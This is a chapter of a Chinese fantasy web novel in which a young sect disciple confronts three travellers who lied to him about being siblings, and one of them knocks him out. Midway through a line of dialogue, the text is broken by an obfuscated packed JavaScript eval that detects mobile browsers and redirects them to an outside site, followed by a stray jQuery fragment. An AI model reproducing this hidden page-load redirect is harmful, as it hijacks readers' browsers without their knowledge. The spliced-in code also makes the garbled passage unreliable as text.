司在洲自从和那三兄妹分别后就有些魂不守舍的,师兄师姐们挨个来问了好几天他也不肯说。
其实真要论起来,他跟人家也没什么关系,不过是萍水相逢后陪着人家走了一程。
司在洲认真分析自己为何总是想到他们,终于在深夜得出结论。
原因之一是他可能有点移情了,但这是别人的妹妹不是他的;原因之二是这是他下山做的第一件好人好事,每个人都会对自己的“人生第一次”产生别样的感情。
原因之三是这三兄妹实在跑得太快了,虽然大家都在宁都,但偶遇的概率却达到了惊人的百分之零。
好吧,前面两个就算了,最后一个他是真想不通啊?!宁都很大吗,也没有特别大吧,怎么就后事如何全然无法得知了呢?
司在洲在茶楼喝着茶,叹着气,倚着剑,想着事,碰着了长生宗修士欺凌凡人。
是的,虽然是太平宗招生,但这里也会随即刷新出别宗修士凑热闹,等着抢好苗子的,等着毁好苗子的,想趁热闹贩卖灵丹灵器的,都不在少数。
那人除开身上穿着长生宗统一制服外,头上戴的腰间别的脚上踏的,没有哪个不是上好的灵器,想来家底殷实。
被他堵在墙角的是这家茶楼的店小二。
就在刚才,他手中的热茶泼到了这修士身上,还没反应过来就被这公子哥拎着耳朵砸到了墙上,嚷嚷着让他赔钱。
他哪里有钱赔,急得眼眶通红,张嘴刚想要说上两句,就被面前这人的大叫声盖了过去。
周围的人都在看热闹起哄,并没有人想在选拔会开始之前掺和到这种破事中。
但在二楼的司在洲目睹了刚刚的全程,那长生宗修士故意走到店小二面前踩了他一脚,店小二才绊倒在他身上的。
那茶水本来还冒着热气,一泼到那人身上就立刻降温了,这人应当是水灵根,仗着凡人不懂故意作弄他们。
见没人站出来,那修士愈发得意,就要让小二跪下把茶水舔干净。
司在洲实在听不下去了,他眯着眼,正琢磨着怎么给这人来两下子,就见那修士刹那松开了揪着店小二的手,大声呼痛。
那修士衣裳上的水恢复了滚烫的温度,往上溢着丝丝缕缕的热气。
司在洲心下惊奇,正猜想着是哪位义士出手了,就见正对着的房间的窗纱尚在飘动。
那长生宗男修气急败坏,目光在人群中检索了一圈也没找出究竟是谁,又说要把这店砸了。
这下终于有人出来劝他了,说这事闹大了传到上头不好听,毕竟这是太平宗的地盘。
那修士这才骂骂咧咧地走了,走之前还撂下一堆狠话,司在洲没注意听。
他笃定刚刚是隔壁房间的人出了手,抱着结识的心思敲了隔壁的房门。
江断雪啜了口茶,就听见笃笃的两声。
郑瑜以为是小二进来续水:“进。”
柏宁捂着嘴咳嗽,偏过头去。
司在洲得了许可,推门进来,视线先落在江断雪身上,只觉眼前这女子气质非凡,若说有七分的清丽,倒有十分的气质。
他恍神了几秒钟,才被不停咳嗽的柏宁吸引了过去。
“啊,是你!”司在洲大惊。
柏宁也大惊,郑瑜呛了水,江断雪背过身,过了两秒又老老实实转了回来。
司在洲在思考。
这不就是那个拖妹带弟去治病的柏宁吗?
那旁边这两人是……他生病的妹妹和弟弟?
看起来最不健康的人好像只有柏宁呢。
“这是怎么回事?”他表情复杂,“你们两个不是得了怪病不能示人吗?”
郑瑜急忙找补:“我们不是他的弟弟妹妹啊!”
司在洲的表情更古怪了:“我刚才有哪句话说你们是他的弟弟妹妹吗?”
完了,全完了。
郑瑜捂住脸,尴尬,好尴尬,被人当面戳穿谎言的感觉居然如此尴尬!
司在洲伤心欲绝:“你们怎么能骗我呢?”
柏宁道:“当时情况紧急……”
他说不下去了,当时的情况一点儿也不紧急。
周间春把大妖杀了,他们非常安全,既然如此岂不是更没有欺瞒他的理由?除非马车里的江断雪和郑瑜忌惮见到他们。
显然司在洲也很快意识到了这一点,他嘴角动了动:“这么说,你们两个确实有问题……?”
郑瑜道:“非也非也。”
江断雪道:“你看他刚刚还帮了那个店小二呢,相信我们不是坏人。”
刚才正是郑瑜耍了点小花招教训了那个长生宗修士,之前他尚在长生宗时,对门派内有些弟子的行事作风就颇有不满。
现在终于可以报复回来,郑瑜十分愉悦,愉悦到就这么直接让司在洲走了进来。
还是柏宁心细,先把司在洲拉进来坐下,又把门反锁住了。
“我需要一个合理的解释。”司在洲硬邦邦地说,“你们严重欺骗了我的感情。等着吧,我叫间春仙尊来把你们抓走。”
江断雪可不想现在就见到周间春,见司在洲越说越气,作势要站起来逃跑,江断雪急忙伸手想要拉住他的衣袖,却手一滑,从已经起了半身的司在洲身上,将那块太平宗令牌扯下来了。
司在洲一口气差点上不来,脸涨得通红:“拉拉扯扯成何体统?莫非你要扯我腰带?!”
若是江断雪再往前一点。说不定就真把司在洲腰带扯下来了,这让他黄花大闺男的脸面往哪儿放?
柏宁解释道:“不是的,她只是想把你留下……”
郑瑜道:“看起来确实有些像扯腰带……”
柏宁道:“呵,你又知道了?你到底哪边的?”
江断雪太阳穴突突跳,从桌子底下狠狠给了郑瑜一脚。郑瑜捂住嘴把惨叫声吞进肚子里。
司在洲拉拉扯扯间又坐下来:“给你们最后一次机会,好好解释,不然我真把你们带走调查。”
柏宁和郑瑜都看向江断雪,江断雪深感责任重大,但这回有点没准备,实在不知道从哪儿编起。
她深吸一口气:“……”
然后叹了出来。
司在洲急死了:“这是什么意思?”
江断雪道:“其实我害怕间春仙尊才不敢出来的。”
好敷衍的借口,司在洲都不想问这是不是真的,他又站了起来。
江断雪道:“站住。”
司在洲站住了。
江断雪道:“瞒不过你了,其实我们根本不是三兄妹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434058|200221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
司在洲又坐下了。
“其实我们三人来自天南海北,素不相识,在十见城相遇之后结为异姓兄妹,柏宁生病了要来宁都治病,我和郑瑜是修士,那时候的狐妖是要追杀我们两个,之前听说间春仙尊脾气不好,所以才不敢相见的。”
人的话一密起来就显得可信,司在洲勉强接受这个说辞,又想起疑点:“不对啊,那后来仙尊走了,你们怎么还不敢出来见我?”
对哦。
江断雪战术性喝水,喝了一杯又一杯,借着茶杯的遮掩给对面的郑瑜使了个眼色。
郑瑜了然。
柏宁道:“呵。”
司在洲看向柏宁的那一刻,郑瑜迅速上手打晕了司在洲。
果然这才是最有效率的解决方法,江断雪整个人都放松了不少,靠到椅背上。
“他怎么办?”郑瑜问,话中的“他”指的自然是司在洲。
江断雪想了想:“放这儿吧,我们就算把他带回去也没地方放,他消失了,他的师兄师姐必定要找他的。到时候更麻烦的。”
柏宁道:“但是他醒了,一样会去找人来抓我们。”
“他抓不到的。”江断雪说到此处又头疼,“若是今天我们没出门,他可能都不会再遇见我们。”
宁都现在人员混杂,只要他们接下来不惹事,等司在洲带着师兄师姐查到他们的时候,江断雪应该已经带着这两个人跑路了。
偏生就是这样巧,昨晚郑瑜说想出门逛逛,江断雪想到柏宁的身体状况,也觉得带他出门走走挺好的。
没想到出来还没一上午,就遇见司在洲了。
司在洲是个好孩子,也是个好苗子,爱才之心人皆有之,江断雪并不想伤害他。
“先这样吧,我们走。”
她站起来,将幂篱重新戴上,几个人下了楼梯,大厅里还是热闹非凡。
好不容易出了茶楼,外头的天依旧阴,她看着黑压压的乌云,心道不知宁都何时才能真正落雨一次?
江断雪估计得没错,接下来这段时间确实没人追查到他们。
他们只需要安安静静地等着大选前的最后一天就好了。
城中人多臃肿,江断雪他们房间上下左右都住了好些少年,她偶然间见过他们中的几个,天资都还不错。
人一多,江断雪就没空指导郑瑜练剑。
她这几天总是去柏宁的房间,先前还不觉得,司在洲那天一说,江断雪才想起来柏宁也是个黄花大闺男。
哦,他们还常常在深夜共处一室。虽然出现这样的情况要么是柏宁又在给她补衣服绣东西,要么是江断雪感应到了柏宁身体不适来看顾着他。
关于共感,她并不想让郑瑜知道这件事,严格来说,江断雪并不想任何一个除他们二人以外的人知道这件事。
风险实在太高,到时候如果她暴露了身份,她的仇人们会第一时间追杀柏宁,因为他是个天生绝脉的凡人。
她就这样认真思考了一晚上,随后问柏宁觉得自己频繁来找他会不会让他觉得困扰。
柏宁讶异:“从未觉得困扰。”
他高兴还来不及。
江断雪点点头,就这样说服了自己。好,既然柏宁不觉得困扰,那她也无所谓了。